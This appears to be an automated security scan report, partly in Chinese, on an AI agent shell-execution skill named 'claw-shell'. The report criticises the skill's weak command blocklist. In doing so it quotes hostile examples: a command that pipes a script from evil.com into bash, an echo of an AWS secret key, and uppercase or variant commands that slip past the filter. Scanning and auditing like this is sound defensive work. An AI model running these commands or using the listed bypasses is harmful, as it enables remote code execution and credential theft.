claw-shell
Shell execution tool with declared purpose but weak safety filter that can be bypassed, allowing potentially destructive commands.
The skill uses execSync to execute arbitrary shell commands with only a basic blocklist filter. The filter in isDangerous() can be bypassed with variations like 'rmdir', uppercase commands, or piped remote scripts.
handler.js:18 为什么得出这个结论
1/4 个维度触发声明资源与推断能力基本一致。
提取到 1 个一般风险产物,需要结合上下文判断。
报告包含 0 步攻击链,另有 1 项高危或严重发现。
没有完整依赖信息,供应链判断需要保留弹性。
风险分是怎么被拉高的
Full shell access is powerful and declared, but safety measures are minimal
Filter can be bypassed with variations like 'rmdir', symlinks, or 'curl http://evil.com|bash'
Commands could hang or consume excessive resources
'sudo' variations, 'DD' uppercase, embedded commands could slip through
最关键的证据
Unrestricted shell execution with weak safety controls
The skill uses execSync to execute arbitrary shell commands with only a basic blocklist filter. The filter in isDangerous() can be bypassed with variations like 'rmdir', uppercase commands, or piped remote scripts.
handler.js:18 Dangerous commands bypass filter
Commands like 'rmdir', 'chmod 777', '> file' redirection, or 'curl http://evil.com|bash' are not blocked by the current filter.
handler.js:18 Indirect environment variable access
While not explicitly accessing environment, the shell execution allows reading $API_KEY, $SECRET, etc. via commands like 'echo $AWS_SECRET_KEY'
handler.js:14 No command timeout configured
execSync calls have no timeout specified, allowing commands to hang indefinitely.
handler.js:29 声明能力 vs 实际能力
execSync used in handler.js:1,7,10 Shell can execute any file operation Shell can execute curl/wget/netcat Shell commands can read $ENV vars — — — 可疑产物与外联
https://x.com/... SKILL.md:39
依赖与供应链
没有结构化依赖告警。
文件构成
handler.js SKILL.md